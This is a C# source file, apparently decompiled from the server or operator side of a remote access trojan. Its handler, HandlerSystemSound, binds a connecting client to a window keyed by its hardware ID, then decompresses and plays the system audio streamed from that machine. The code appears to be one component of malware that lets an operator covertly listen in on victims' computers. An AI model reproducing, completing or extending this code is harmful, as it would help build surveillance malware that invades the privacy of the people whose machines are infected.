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using System.IO;
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using System.IO.Compression;
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using System.Windows.Forms;
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using Server.Connectings;
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using Server.Forms;
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namespace Server.Messages;
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internal class HandlerSystemSound
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{
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public static void Read(Clients client, object[] objects)
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{
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string text = (string)objects[1];
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if (!(text == "Connect"))
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{
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if (text == "Sound")
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{
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if (client.Tag == null)
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{
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client.Disconnect();
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}
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else
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{
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((FormSystemSound)client.Tag).Buffer(Decompress((byte[])objects[2]));
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}
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}
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return;
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}
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FormSystemSound form = (FormSystemSound)Application.OpenForms["SystemSound:" + (string)objects[2]];
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if (form == null)
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{
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client.Disconnect();
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return;
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}
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form.Invoke((MethodInvoker)delegate
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{
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form.Text = "System Sound [" + (string)objects[2] + "]";
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form.client = client;
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form.trackBar1.Enabled = true;
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form.materialSwitch1.Enabled = true;
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});
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client.Tag = form;
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client.Hwid = (string)objects[2];
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}
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private static byte[] Decompress(byte[] inputBytes)
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{
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using MemoryStream stream = new MemoryStream(inputBytes);
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using MemoryStream memoryStream = new MemoryStream();
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using (DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress))
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{
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deflateStream.CopyTo(memoryStream);
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}
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return memoryStream.ToArray();
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}
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}
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